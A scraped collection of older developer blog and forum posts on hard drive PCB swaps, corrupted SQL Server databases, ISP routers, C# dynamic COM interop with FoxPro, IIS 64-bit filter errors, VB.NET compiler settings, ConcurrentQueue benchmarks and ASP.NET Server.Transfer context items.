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• Hard drive after PCB swap strange stuff

  - by ramyy

  I’ve done a PCB swap to my HDD. The HDD model is: WD6400AAKS-00A7B2. The original PCB PN matches the new one (first three letter groups), though the cache mismatches (16MB original, 8MB new). The Hardware store that made the swap told me it was hard to do the swap, they have done firmware adaptation. I can see that this firmware version does not match the original, (01.03B01 original, 05.04E05 new). Still I can see that the serial number and model of the drive is correct, the hard drive appeared normal in the BIOS, all the partitions show and everything appears normal. I have encountered three things though, I have left the drive non operated for 2-3 weeks after the swap to avoid corrupting the data or anything else the new PCB might cause, until I buy a new drive and backup the data. I got a drive, and when I powered the old drive manually (I have a laptop, I use a normal desktop power supply and a USB/SATA connector), I heard the motor start and I could hear ticking as if the motor’s somehow struggling to start, and then the motor sound starts again then the ticking, and so on.. I tried powering again it happened again. The third time it started normally and I could see everything normally. I took the chance and copied all the data over to the new drive. When I was done, I powered off the drive (after more than 25 hours of continuous operation), tried to power it up again and it did so normally, and so are the times I powered it up later; but I got very suspicious now. What could be the problem here? And what happened new, it used to power normally after the swap directly? The second thing that happened is that I found size differences with some files; some include movies, songs, (.iso) files for games, and programs. I could find the size is the same, but size on disk is a little more on the new drive for these files. . I’ve tried some of those files (with size differences) they worked fine. They are not too much but still make you suspicious of the integrity of the data copied; one cannot try if all files are working for about (580 GB) worth of data. I tried copying these files on the same partition they exist of the old drive; they are the same in size as when copied to the new drive (allocation unit size not the issue). I took an image of a partition (sector by sector including empty ones) and when I explore it, these file sizes are equal to the original (old drive); I copy them anywhere else their size on disk, increases, i.e becomes equal to the ones I copy from the old drive itself anywhere. Why the size difference and can one trust the integrity of the data?? The third thing is that when I connect my new external USB HDD, the partitions of the old HDD unmount and then mount again. Connected are: (USB mouse + Old HDD) then external HDD. Why that happens?? Considering the following: I compared the SMART reports from after the swap directly and after the copying, no error readings or reallocated sectors where reported. Here they are: http://www.image-share.com/ijpg-1939-219.html I later ran both WD data life guard tests and they came out passed. I’m worried for this drive since I must be sure the data is fine and safe on the new one, and I will consider it backup for the new one, since you can’t trust anything anymore. I hope you can forgive me for the length of the post, but couldn’t ignore any of the details, this hard drive contains very important data to me and I have to deal with the situation with great care.

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• How to export SQL Server data from corrupted database (with disk write error)

  - by damitamit

  IT realised there was a disk write error on our production SQL Server 2005 and hence was causing the backups to fail. By the time they had realised this the nightly backup was old, so were not able to just restore the backup on another server. The database is still running and being used constantly. However DBCC CheckDB fails. Also the SQL Server backup task fails, Copy Database fails, Export Data Wizard fails. However it seems all the data can be read from the tables (i.e using bcp etc) Another observation I have made is that the Transaction Log is nearly double the size of the Database. (Does that mean all the changes arent being written to the MDF?) What would be the best plan of attack to get the database to a state where backups are working and the data is safe? Take the database offline and use the MDF/LDF to somehow create the database on another sql server? Export the data from the database using bcp. Create the database (use the Generate Scripts function on the corrupt db to create the schema on the new db) on another sql server and use bcp again to import the data. Some other option that is the right course of action in this situation? The IT manager says the data is safe as if the server fails, the data can be restored from the mdf/ldf. I'm not sure so insisted that we start exporting the data each night as a failsafe (using bcp for example). IT are also having issues on the hardware side of things as supposedly the disk error in on a virtualized disk and can't be rebuilt like a normal raid array (or something like that). Please excuse my use of incorrect terminology and incorrect assumptions on how Sql Server operates. I'm the application developer and have been called to help (as it seems IT know less about SQL Server than I do). Many Thanks, Amit Results of DBBC CheckDB: Msg 1823, Level 16, State 2, Line 1 A database snapshot cannot be created because it failed to start. Msg 7928, Level 16, State 1, Line 1 The database snapshot for online checks could not be created. Either the reason is given in a previous error or one of the underlying volumes does not support sparse files or alternate streams. Attempting to get exclusive access to run checks offline. Msg 5030, Level 16, State 12, Line 1 The database could not be exclusively locked to perform the operation. Msg 7926, Level 16, State 1, Line 1 Check statement aborted. The database could not be checked as a database snapshot could not be created and the database or table could not be locked. See Books Online for details of when this behavior is expected and what workarounds exist. Also see previous errors for more details. Msg 823, Level 24, State 3, Line 1 The operating system returned error 1(error not found) to SQL Server during a write at offset 0x00000674706000 in file 'G:\AX40_Dynamics_Live.mdf'. Additional messages in the SQL Server error log and system event log may provide more detail. This is a severe system-level error condition that threatens database integrity and must be corrected immediately. Complete a full database consistency check (DBCC CHECKDB). This error can be caused by many factors; for more information, see SQL Server Books Online.

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• What networking hardware do I need in this situation (Fairpoint [ISP] "E-DIA" connection)?

  - by Tegeril

  Right away you'd probably want to say, "Well just ask Fairpoint." I've done that, a number of times in as many different ways I can phrase it and just keep hitting a brick wall where they will not commit to giving any useful information and instead recommend contracting an outside firm and spending a pile of money. Anyway... I'm trying to help a family member out with an office connection that is being setup. I've managed to scrape tiny details here and there from our discussions with the ISP (Fairpoint in Maine) about what is going to be done and what is going to be needed. This is the connection that is being setup: http://www.fairpoint.com/enterprise/vantagepoint/e-dia/index.jsp Information I have been given: Via this connection I can get IPs across different C blocks if that were necessary (it is not) Fairpoint is bringing hardware with them that they claim simply does the conversion from whatever line is coming in the building to ethernet, they have referred to this as the "Fairpoint Netvanta" which I know suggests a line of products that I have looked up, but some (most? all?) of those seems to handle all the routing that I saw. Fairpoint says that I need to bring my own router to sit behind their device. They have literally declined to even suggest products that have worked for other clients in the past and fall back on "any business router works, not a home router." That alone makes my head spin. Detail and clarity hit a brick wall from there. At one moment I got them to cough up that the router I provide needs to be able to do VPN tunneling but they typically fall back to "not a home router" and I was even given "just a business router, Cisco or something, it'll be $500-$1000". Now I know that VPN tunneling routers exist well below that price point and since this connection is going to one machine, possibly two only via ethernet, my desire to purchase networking hardware that over-delivers what I need is not very high. They are literally setting all this up, have provided no configuration details for after they finish, and expect me to just plunk a $500+ router behind it and cross my fingers or contract out to a third party company. If there were other options available for the location, I would have dropped them in a second, but there aren't. The device that is connected requires a static IP and I'm honestly a bit hazy on the necessity of an additional router behind their device and generally a bit over my head. I presume that the router needs to be able to serve external static IPs to its clients, but I really don't know what is going to show up when they come to do the install. This was originally going to be run via an ADSL bridge modem with a range of static IPs (which is easy and is currently setup properly) but the location is too far from the telco to get speeds that we really want for upload and this is also a connection that needs high availability. Any suggestions would be greatly appreciated (I see a number of options in the Cisco Small Business line and other competitors that aren't going to break the bank…), especially if you've worked with Fairpoint before! Thanks for reading my wall of text.

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• The dynamic Type in C# Simplifies COM Member Access from Visual FoxPro

  - by Rick Strahl

  I’ve written quite a bit about Visual FoxPro interoperating with .NET in the past both for ASP.NET interacting with Visual FoxPro COM objects as well as Visual FoxPro calling into .NET code via COM Interop. COM Interop with Visual FoxPro has a number of problems but one of them at least got a lot easier with the introduction of dynamic type support in .NET. One of the biggest problems with COM interop has been that it’s been really difficult to pass dynamic objects from FoxPro to .NET and get them properly typed. The only way that any strong typing can occur in .NET for FoxPro components is via COM type library exports of Visual FoxPro components. Due to limitations in Visual FoxPro’s type library support as well as the dynamic nature of the Visual FoxPro language where few things are or can be described in the form of a COM type library, a lot of useful interaction between FoxPro and .NET required the use of messy Reflection code in .NET. Reflection is .NET’s base interface to runtime type discovery and dynamic execution of code without requiring strong typing. In FoxPro terms it’s similar to EVALUATE() functionality albeit with a much more complex API and corresponiding syntax. The Reflection APIs are fairly powerful, but they are rather awkward to use and require a lot of code. Even with the creation of wrapper utility classes for common EVAL() style Reflection functionality dynamically access COM objects passed to .NET often is pretty tedious and ugly. Let’s look at a simple example. In the following code I use some FoxPro code to dynamically create an object in code and then pass this object to .NET. An alternative to this might also be to create a new object on the fly by using SCATTER NAME on a database record. How the object is created is inconsequential, other than the fact that it’s not defined as a COM object – it’s a pure FoxPro object that is passed to .NET. Here’s the code: *** Create .NET COM InstanceloNet = CREATEOBJECT('DotNetCom.DotNetComPublisher') *** Create a Customer Object Instance (factory method) loCustomer = GetCustomer() loCustomer.Name = "Rick Strahl" loCustomer.Company = "West Wind Technologies" loCustomer.creditLimit = 9999999999.99 loCustomer.Address.StreetAddress = "32 Kaiea Place" loCustomer.Address.Phone = "808 579-8342" loCustomer.Address.Email = "[email protected]" *** Pass Fox Object and echo back values ? loNet.PassRecordObject(loObject) RETURN FUNCTION GetCustomer LOCAL loCustomer, loAddress loCustomer = CREATEOBJECT("EMPTY") ADDPROPERTY(loCustomer,"Name","") ADDPROPERTY(loCustomer,"Company","") ADDPROPERTY(loCUstomer,"CreditLimit",0.00) ADDPROPERTY(loCustomer,"Entered",DATETIME()) loAddress = CREATEOBJECT("Empty") ADDPROPERTY(loAddress,"StreetAddress","") ADDPROPERTY(loAddress,"Phone","") ADDPROPERTY(loAddress,"Email","") ADDPROPERTY(loCustomer,"Address",loAddress) RETURN loCustomer ENDFUNC Now prior to .NET 4.0 you’d have to access this object passed to .NET via Reflection and the method code to do this would looks something like this in the .NET component: public string PassRecordObject(object FoxObject) { // *** using raw Reflection string Company = (string) FoxObject.GetType().InvokeMember( "Company", BindingFlags.GetProperty,null, FoxObject,null); // using the easier ComUtils wrappers string Name = (string) ComUtils.GetProperty(FoxObject,"Name"); // Getting Address object – then getting child properties object Address = ComUtils.GetProperty(FoxObject,"Address");    string Street = (string) ComUtils.GetProperty(FoxObject,"StreetAddress"); // using ComUtils 'Ex' functions you can use . Syntax     string StreetAddress = (string) ComUtils.GetPropertyEx(FoxObject,"AddressStreetAddress"); return Name + Environment.NewLine + Company + Environment.NewLine + StreetAddress + Environment.NewLine + " FOX"; } Note that the FoxObject is passed in as type object which has no specific type. Since the object doesn’t exist in .NET as a type signature the object is passed without any specific type information as plain non-descript object. To retrieve a property the Reflection APIs like Type.InvokeMember or Type.GetProperty().GetValue() etc. need to be used. I made this code a little simpler by using the Reflection Wrappers I mentioned earlier but even with those ComUtils calls the code is pretty ugly requiring passing the objects for each call and casting each element. Using .NET 4.0 Dynamic Typing makes this Code a lot cleaner Enter .NET 4.0 and the dynamic type. Replacing the input parameter to the .NET method from type object to dynamic makes the code to access the FoxPro component inside of .NET much more natural: public string PassRecordObjectDynamic(dynamic FoxObject) { // *** using raw Reflection string Company = FoxObject.Company; // *** using the easier ComUtils class string Name = FoxObject.Name; // *** using ComUtils 'ex' functions to use . Syntax string Address = FoxObject.Address.StreetAddress; return Name + Environment.NewLine + Company + Environment.NewLine + Address + Environment.NewLine + " FOX"; } As you can see the parameter is of type dynamic which as the name implies performs Reflection lookups and evaluation on the fly so all the Reflection code in the last example goes away. The code can use regular object ‘.’ syntax to reference each of the members of the object. You can access properties and call methods this way using natural object language. Also note that all the type casts that were required in the Reflection code go away – dynamic types like var can infer the type to cast to based on the target assignment. As long as the type can be inferred by the compiler at compile time (ie. the left side of the expression is strongly typed) no explicit casts are required. Note that although you get to use plain object syntax in the code above you don’t get Intellisense in Visual Studio because the type is dynamic and thus has no hard type definition in .NET . The above example calls a .NET Component from VFP, but it also works the other way around. Another frequent scenario is an .NET code calling into a FoxPro COM object that returns a dynamic result. Assume you have a FoxPro COM object returns a FoxPro Cursor Record as an object: DEFINE CLASS FoxData AS SESSION OlePublic cAppStartPath = "" FUNCTION INIT THIS.cAppStartPath = ADDBS( JustPath(Application.ServerName) ) SET PATH TO ( THIS.cAppStartpath ) ENDFUNC FUNCTION GetRecord(lnPk) LOCAL loCustomer SELECT * FROM tt_Cust WHERE pk = lnPk ; INTO CURSOR TCustomer IF _TALLY < 1 RETURN NULL ENDIF SCATTER NAME loCustomer MEMO RETURN loCustomer ENDFUNC ENDDEFINE If you call this from a .NET application you can now retrieve this data via COM Interop and cast the result as dynamic to simplify the data access of the dynamic FoxPro type that was created on the fly: int pk = 0; int.TryParse(Request.QueryString["id"],out pk); // Create Fox COM Object with Com Callable Wrapper FoxData foxData = new FoxData(); dynamic foxRecord = foxData.GetRecord(pk); string company = foxRecord.Company; DateTime entered = foxRecord.Entered; This code looks simple and natural as it should be – heck you could write code like this in days long gone by in scripting languages like ASP classic for example. Compared to the Reflection code that previously was necessary to run similar code this is much easier to write, understand and maintain. For COM interop and Visual FoxPro operation dynamic type support in .NET 4.0 is a huge improvement and certainly makes it much easier to deal with FoxPro code that calls into .NET. Regardless of whether you’re using COM for calling Visual FoxPro objects from .NET (ASP.NET calling a COM component and getting a dynamic result returned) or whether FoxPro code is calling into a .NET COM component from a FoxPro desktop application. At one point or another FoxPro likely ends up passing complex dynamic data to .NET and for this the dynamic typing makes coding much cleaner and more readable without having to create custom Reflection wrappers. As a bonus the dynamic runtime that underlies the dynamic type is fairly efficient in terms of making Reflection calls especially if members are repeatedly accessed. © Rick Strahl, West Wind Technologies, 2005-2010Posted in COM  FoxPro  .NET  CSharp  

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• Error on 64 Bit Install of IIS &ndash; LoadLibraryEx failed on aspnet_filter.dll

  - by Rick Strahl

  I’ve been having a few problems with my Windows 7 install and trying to get IIS applications to run properly in 64 bit. After installing IIS and creating virtual directories for several of my applications and firing them up I was left with the following error message from IIS: Calling LoadLibraryEx on ISAPI filter “c:\windows\Microsoft.NET\Framework\v4.0.30319\aspnet_filter.dll” failed This is on Windows 7 64 bit and running on an ASP.NET 4.0 Application configured for running 64 bit (32 bit disabled). It’s also on what is essentially a brand new installation of IIS and Windows 7. So it failed right out of the box. The problem here is that IIS is trying to loading this ISAPI filter from the 32 bit folder – it should be loading from Framework64 folder note the Framework folder. The aspnet_filter.dll component is a small Win32 ISAPI filter used to back up the cookieless session state for ASP.NET on IIS 7 applications. It’s not terribly important because of this focus, but it’s a default loaded component. After a lot of fiddling I ended up with two solutions (with the help and support of some Twitter folks): Switch IIS to run in 32 bit mode Fix the filter listing in ApplicationHost.config Switching IIS to allow 32 Bit Code This is a quick fix for the problem above which enables 32 bit code in the Application Pool. The problem above is that IIS is trying to load a 32 bit ISAPI filter and enabling 32 bit code gets you around this problem. To configure your Application Pool, open the Application Pool in IIS Manager bring up Advanced Options and Enable 32 Bit Applications: And voila the error message above goes away. Fix Filters Enabling 32 bit code is a quick fix solution to this problem, but not an ideal one. If you’re running a pure .NET application that doesn’t need to do COM or pInvoke Interop with 32 bit apps there’s usually no need for enabling 32 bit code in an Application Pool as you can run in native 64 bit code. So trying to get 64 bit working natively is a pretty key feature in my opinion :-) So what’s the problem – why is IIS trying to load a 32 bit DLL in a 64 bit install, especially if the application pool is configured to not allow 32 bit code at all? The problem lies in the server configuration and the fact that 32 bit and 64 bit configuration settings exist side by side in IIS. If I open my Default Web Site (or any other root Web Site) and go to the ISAPI filter list here’s what I see: Notice that there are 3 entries for ASP.NET 4.0 in this list. Only two of them however are specifically scoped to the specifically to 32 bit or 64 bit. As you can see the 64 bit filter correctly points at the Framework64 folder to load the dll, while both the 32 bit and the ‘generic’ entry point at the plain Framework 32 bit folder. Aha! Hence lies our problem. You can edit ApplicationHost.config manually, but I ran into the nasty issue of not being able to easily edit that file with the 32 bit editor (who ever thought that was a good idea???? WTF). You have to open ApplicationHost.Config in a 64 bit native text editor – which Visual Studio is not. Or my favorite editor: EditPad Pro. Since I don’t have a native 64 bit editor handy Notepad was my only choice. Or as an alternative you can use the IIS 7.5 Configuration Editor which lets you interactively browse and edit most ApplicationHost settings. You can drill into the configuration hierarchy visually to find your keys and edit attributes and sub values in property editor type interface. I had no idea this tool existed prior to today and it’s pretty cool as it gives you some visual clues to options available – especially in absence of an Intellisense scheme you’d get in Visual Studio (which doesn’t work). To use the Configuration Editor go the Web Site root and use the Configuration Editor option in the Management Group. Drill into System.webServer/isapiFilters and then click on the Collection’s … button on the right. You should now see a display like this: which shows all the same attributes you’d see in ApplicationHost.config (cool!). These entries correspond to these raw ApplicationHost.config entries: <filter name="ASP.Net_4.0" path="C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_filter.dll" enableCache="true" preCondition="runtimeVersionv4.0" /> <filter name="ASP.Net_4.0_64bit" path="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_filter.dll" enableCache="true" preCondition="runtimeVersionv4.0,bitness64" /> <filter name="ASP.Net_4.0_32bit" path="C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_filter.dll" enableCache="true" preCondition="runtimeVersionv4.0,bitness32" /> The key attribute we’re concerned with here is the preCondition and the bitness subvalue. Notice that the ‘generic’ version – which comes first in the filter list – has no bitness assigned to it, so it defaults to 32 bit and the 32 bit dll path. And this is where our problem comes from. The simple solution to fix the startup problem is to remove the generic entry from this list here or in the filters list shown earlier and leave only the bitness specific versions active. The preCondition attribute acts as a filter and as you can see here it filters the list by runtime version and bitness value. This is something to keep an eye out in general – if a bitness values are missing it’s easy to run into conflicts like this with any settings that are global and especially those that load modules and handlers and other executable code. On 64 bit systems it’s a good idea to explicitly set the bitness of all entries or remove the non-specific versions and add bit specific entries. So how did this get misconfigured? I installed IIS before everything else was installed on this machine and then went ahead and installed Visual Studio. I suspect the Visual Studio install munged this up as I never saw a similar problem on my live server where everything just worked right out of the box. In searching about this problem a lot of solutions pointed at using aspnet_regiis –r from the Framework64 directory, but that did not fix this extra entry in the filters list – it adds the required 32 bit and 64 bit entries, but it doesn’t remove the errand un-bitness set entry. Hopefully this post will help out anybody who runs into a similar situation without having to trouble shoot all the way down into the configuration settings and noticing the bitness settings. It’s a good lesson learned for me – this is my first desktop install of a 64 bit OS and things like this are what I was reluctant to find. Now that I ran into this I have a good idea what to look for with 32/64 bit misconfigurations in IIS at least.© Rick Strahl, West Wind Technologies, 2005-2011Posted in IIS7   ASP.NET  

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• VB.NET IF() Coalesce and “Expression Expected” Error

  - by Jeff Widmer

  I am trying to use the equivalent of the C# “??” operator in some VB.NET code that I am working in. This StackOverflow article for “Is there a VB.NET equivalent for C#'s ?? operator?” explains the VB.NET IF() statement syntax which is exactly what I am looking for... and I thought I was going to be done pretty quickly and could move on. But after implementing the IF() statement in my code I started to receive this error: Compiler Error Message: BC30201: Expression expected. And no matter how I tried using the “IF()” statement, whenever I tried to visit the aspx page that I was working on I received the same error. This other StackOverflow article Using VB.NET If vs. IIf in binding/rendering expression indicated that the VB.NET IF() operator was not available until VS2008 or .NET Framework 3.5.  So I checked the Web Application project properties but it was targeting the .NET Framework 3.5: So I was still not understanding what was going on, but then I noticed the version information in the detailed compiler output of the error page: This happened to be a C# project, but with an ASPX page with inline VB.NET code (yes, it is strange to have that but that is the project I am working on).  So even though the project file was targeting the .NET Framework 3.5, the ASPX page was being compiled using the .NET Framework 2.0.  But why?  Where does this get set?  How does ASP.NET know which version of the compiler to use for the inline code? For this I turned to the web.config.  Here is the system.codedom/compilers section that was in the web.config for this project: <system.codedom>     <compilers>         <compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" type="Microsoft.CSharp.CSharpCodeProvider, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">             <providerOption name="CompilerVersion" value="v3.5" />             <providerOption name="WarnAsError" value="false" />         </compiler>     </compilers> </system.codedom> Keep in mind that this is a C# web application project file but my aspx file has inline VB.NET code.  The web.config does not have any information for how to compile for VB.NET so it defaults to .NET 2.0 (instead of 3.5 which is what I need). So the web.config needed to include the VB.NET compiler option.  Here it is with both the C# and VB.NET options (I copied the VB.NET config from a new VB.NET Web Application project file).     <system.codedom>         <compilers>             <compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" type="Microsoft.CSharp.CSharpCodeProvider, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">                 <providerOption name="CompilerVersion" value="v3.5" />                 <providerOption name="WarnAsError" value="false" />             </compiler>       <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" warningLevel="4" type="Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">         <providerOption name="CompilerVersion" value="v3.5"/>         <providerOption name="OptionInfer" value="true"/>         <providerOption name="WarnAsError" value="false"/>       </compiler>     </compilers>     </system.codedom>   So the inline VB.NET code on my aspx page was being compiled using the .NET Framework 2.0 when it really needed to be compiled with the .NET Framework 3.5 compiler in order to take advantage of the VB.NET IF() coalesce statement.  Without the VB.NET web.config compiler option, the default is to compile using the .NET Framework 2.0 and the VB.NET IF() coalesce statement does not exist (at least in the form that I want it in).  FYI, there is an older IF statement in VB.NET 2.0 compiler which is why it is giving me the unusual “Expression Expected” error message – see this article for when VB.NET got the new updated version. EDIT (2011-06-20): I had made a wrong assumption in the first version of this blog post.  After a little more research and investigation I was able to figure out that the issue was in the web.config and not with the IIS App Pool.  Thanks to the comment from James which forced me to look into this again.

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• C#: System.Collections.Concurrent.ConcurrentQueue vs. Queue

  - by James Michael Hare

  I love new toys, so of course when .NET 4.0 came out I felt like the proverbial kid in the candy store!  Now, some people get all excited about the IDE and it’s new features or about changes to WPF and Silver Light and yes, those are all very fine and grand.  But me, I get all excited about things that tend to affect my life on the backside of development.  That’s why when I heard there were going to be concurrent container implementations in the latest version of .NET I was salivating like Pavlov’s dog at the dinner bell. They seem so simple, really, that one could easily overlook them.  Essentially they are implementations of containers (many that mirror the generic collections, others are new) that have either been optimized with very efficient, limited, or no locking but are still completely thread safe -- and I just had to see what kind of an improvement that would translate into. Since part of my job as a solutions architect here where I work is to help design, develop, and maintain the systems that process tons of requests each second, the thought of extremely efficient thread-safe containers was extremely appealing.  Of course, they also rolled out a whole parallel development framework which I won’t get into in this post but will cover bits and pieces of as time goes by. This time, I was mainly curious as to how well these new concurrent containers would perform compared to areas in our code where we manually synchronize them using lock or some other mechanism.  So I set about to run a processing test with a series of producers and consumers that would be either processing a traditional System.Collections.Generic.Queue or a System.Collection.Concurrent.ConcurrentQueue. Now, I wanted to keep the code as common as possible to make sure that the only variance was the container, so I created a test Producer and a test Consumer.  The test Producer takes an Action<string> delegate which is responsible for taking a string and placing it on whichever queue we’re testing in a thread-safe manner: 1: internal class Producer 2: { 3: public int Iterations { get; set; } 4: public Action<string> ProduceDelegate { get; set; } 5: 6: public void Produce() 7: { 8: for (int i = 0; i < Iterations; i++) 9: { 10: ProduceDelegate(“Hello”); 11: } 12: } 13: } Then likewise, I created a consumer that took a Func<string> that would read from whichever queue we’re testing and return either the string if data exists or null if not.  Then, if the item doesn’t exist, it will do a 10 ms wait before testing again.  Once all the producers are done and join the main thread, a flag will be set in each of the consumers to tell them once the queue is empty they can shut down since no other data is coming: 1: internal class Consumer 2: { 3: public Func<string> ConsumeDelegate { get; set; } 4: public bool HaltWhenEmpty { get; set; } 5: 6: public void Consume() 7: { 8: bool processing = true; 9: 10: while (processing) 11: { 12: string result = ConsumeDelegate(); 13: 14: if(result == null) 15: { 16: if (HaltWhenEmpty) 17: { 18: processing = false; 19: } 20: else 21: { 22: Thread.Sleep(TimeSpan.FromMilliseconds(10)); 23: } 24: } 25: else 26: { 27: DoWork(); // do something non-trivial so consumers lag behind a bit 28: } 29: } 30: } 31: } Okay, now that we’ve done that, we can launch threads of varying numbers using lambdas for each different method of production/consumption.  First let's look at the lambdas for a typical System.Collections.Generics.Queue with locking: 1: // lambda for putting to typical Queue with locking... 2: var productionDelegate = s => 3: { 4: lock (_mutex) 5: { 6: _mutexQueue.Enqueue(s); 7: } 8: }; 9:  10: // and lambda for typical getting from Queue with locking... 11: var consumptionDelegate = () => 12: { 13: lock (_mutex) 14: { 15: if (_mutexQueue.Count > 0) 16: { 17: return _mutexQueue.Dequeue(); 18: } 19: } 20: return null; 21: }; Nothing new or interesting here.  Just typical locks on an internal object instance.  Now let's look at using a ConcurrentQueue from the System.Collections.Concurrent library: 1: // lambda for putting to a ConcurrentQueue, notice it needs no locking! 2: var productionDelegate = s => 3: { 4: _concurrentQueue.Enqueue(s); 5: }; 6:  7: // lambda for getting from a ConcurrentQueue, once again, no locking required. 8: var consumptionDelegate = () => 9: { 10: string s; 11: return _concurrentQueue.TryDequeue(out s) ? s : null; 12: }; So I pass each of these lambdas and the number of producer and consumers threads to launch and take a look at the timing results.  Basically I’m timing from the time all threads start and begin producing/consuming to the time that all threads rejoin.  I won't bore you with the test code, basically it just launches code that creates the producers and consumers and launches them in their own threads, then waits for them all to rejoin.  The following are the timings from the start of all threads to the Join() on all threads completing.  The producers create 10,000,000 items evenly between themselves and then when all producers are done they trigger the consumers to stop once the queue is empty. These are the results in milliseconds from the ordinary Queue with locking: 1: Consumers Producers 1 2 3 Time (ms) 2: ---------- ---------- ------ ------ ------ --------- 3: 1 1 4284 5153 4226 4554.33 4: 10 10 4044 3831 5010 4295.00 5: 100 100 5497 5378 5612 5495.67 6: 1000 1000 24234 25409 27160 25601.00 And the following are the results in milliseconds from the ConcurrentQueue with no locking necessary: 1: Consumers Producers 1 2 3 Time (ms) 2: ---------- ---------- ------ ------ ------ --------- 3: 1 1 3647 3643 3718 3669.33 4: 10 10 2311 2136 2142 2196.33 5: 100 100 2480 2416 2190 2362.00 6: 1000 1000 7289 6897 7061 7082.33 Note that even though obviously 2000 threads is quite extreme, the concurrent queue actually scales really well, whereas the traditional queue with simple locking scales much more poorly. I love the new concurrent collections, they look so much simpler without littering your code with the locking logic, and they perform much better.  All in all, a great new toy to add to your arsenal of multi-threaded processing!

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• HttpContext.Items and Server.Transfer/Execute

  - by Rick Strahl

  A few days ago my buddy Ben Jones pointed out that he ran into a bug in the ScriptContainer control in the West Wind Web and Ajax Toolkit. The problem was basically that when a Server.Transfer call was applied the script container (and also various ClientScriptProxy script embedding routines) would potentially fail to load up the specified scripts. It turns out the problem is due to the fact that the various components in the toolkit use request specific singletons via a Current property. I use a static Current property tied to a Context.Items[] entry to handle this type of operation which looks something like this: /// <summary> /// Current instance of this class which should always be used to /// access this object. There are no public constructors to /// ensure the reference is used as a Singleton to further /// ensure that all scripts are written to the same clientscript /// manager. /// </summary> public static ClientScriptProxy Current { get { if (HttpContext.Current == null) return new ClientScriptProxy(); ClientScriptProxy proxy = null; if (HttpContext.Current.Items.Contains(STR_CONTEXTID)) proxy = HttpContext.Current.Items[STR_CONTEXTID] as ClientScriptProxy; else { proxy = new ClientScriptProxy(); HttpContext.Current.Items[STR_CONTEXTID] = proxy; } return proxy; } } The proxy is attached to a Context.Items[] item which makes the instance Request specific. This works perfectly fine in most situations EXCEPT when you’re dealing with Server.Transfer/Execute requests. Server.Transfer doesn’t cause Context.Items to be cleared so both the current transferred request and the original request’s Context.Items collection apply. For the ClientScriptProxy this causes a problem because script references are tracked on a per request basis in Context.Items to check for script duplication. Once a script is rendered an ID is written into the Context collection and so considered ‘rendered’: // No dupes - ref script include only once if (HttpContext.Current.Items.Contains( STR_SCRIPTITEM_IDENTITIFIER + fileId ) ) return; HttpContext.Current.Items.Add(STR_SCRIPTITEM_IDENTITIFIER + fileId, string.Empty); where the fileId is the script name or unique identifier. The problem is on the Transferred page the item will already exist in Context and so fail to render because it thinks the script has already rendered based on the Context item. Bummer. The workaround for this is simple once you know what’s going on, but in this case it was a bitch to track down because the context items are used in many places throughout this class. The trick is to determine when a request is transferred and then removing the specific keys. The first issue is to determine if a script is in a Trransfer or Execute call: if (HttpContext.Current.CurrentHandler != HttpContext.Current.Handler) Context.Handler is the original handler and CurrentHandler is the actual currently executing handler that is running when a Transfer/Execute is active. You can also use Context.PreviousHandler to get the last handler and chain through the whole list of handlers applied if Transfer calls are nested (dog help us all for the person debugging that). For the ClientScriptProxy the full logic to check for a transfer and remove the code looks like this: /// <summary> /// Clears all the request specific context items which are script references /// and the script placement index. /// </summary> public void ClearContextItemsOnTransfer() { if (HttpContext.Current != null) { // Check for Server.Transfer/Execute calls - we need to clear out Context.Items if (HttpContext.Current.CurrentHandler != HttpContext.Current.Handler) { List<string> Keys = HttpContext.Current.Items.Keys.Cast<string>().Where(s => s.StartsWith(STR_SCRIPTITEM_IDENTITIFIER) || s == STR_ScriptResourceIndex).ToList(); foreach (string key in Keys) { HttpContext.Current.Items.Remove(key); } } } } along with a small update to the Current property getter that sets a global flag to indicate whether the request was transferred: if (!proxy.IsTransferred && HttpContext.Current.Handler != HttpContext.Current.CurrentHandler) { proxy.ClearContextItemsOnTransfer(); proxy.IsTransferred = true; } return proxy; I know this is pretty ugly, but it works and it’s actually minimal fuss without affecting the behavior of the rest of the class. Ben had a different solution that involved explicitly clearing out the Context items and replacing the collection with a manually maintained list of items which also works, but required changes through the code to make this work. In hindsight, it would have been better to use a single object that encapsulates all the ‘persisted’ values and store that object in Context instead of all these individual small morsels. Hindsight is always 20/20 though :-}. If possible use Page.Items ClientScriptProxy is a generic component that can be used from anywhere in ASP.NET, so there are various methods that are not Page specific on this component which is why I used Context.Items, rather than the Page.Items collection.Page.Items would be a better choice since it will sidestep the above Server.Transfer nightmares as the Page is reloaded completely and so any new Page gets a new Items collection. No fuss there. So for the ScriptContainer control, which has to live on the page the behavior is a little different. It is attached to Page.Items (since it’s a control): /// <summary> /// Returns a current instance of this control if an instance /// is already loaded on the page. Otherwise a new instance is /// created, added to the Form and returned. /// /// It's important this function is not called too early in the /// page cycle - it should not be called before Page.OnInit(). /// /// This property is the preferred way to get a reference to a /// ScriptContainer control that is either already on a page /// or needs to be created. Controls in particular should always /// use this property. /// </summary> public static ScriptContainer Current { get { // We need a context for this to work! if (HttpContext.Current == null) return null; Page page = HttpContext.Current.CurrentHandler as Page; if (page == null) throw new InvalidOperationException(Resources.ERROR_ScriptContainer_OnlyWorks_With_PageBasedHandlers); ScriptContainer ctl = null; // Retrieve the current instance ctl = page.Items[STR_CONTEXTID] as ScriptContainer; if (ctl != null) return ctl; ctl = new ScriptContainer(); page.Form.Controls.Add(ctl); return ctl; } } The biggest issue with this approach is that you have to explicitly retrieve the page in the static Current property. Notice again the use of CurrentHandler (rather than Handler which was my original implementation) to ensure you get the latest page including the one that Server.Transfer fired. Server.Transfer and Server.Execute are Evil All that said – this fix is probably for the 2 people who are crazy enough to rely on Server.Transfer/Execute. :-} There are so many weird behavior problems with these commands that I avoid them at all costs. I don’t think I have a single application that uses either of these commands… Related Resources Full source of ClientScriptProxy.cs (repository) Part of the West Wind Web Toolkit Static Singletons for ASP.NET Controls Post © Rick Strahl, West Wind Technologies, 2005-2010Posted in ASP.NET  

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• TFS 2010 Basic Concepts

  - by jehan

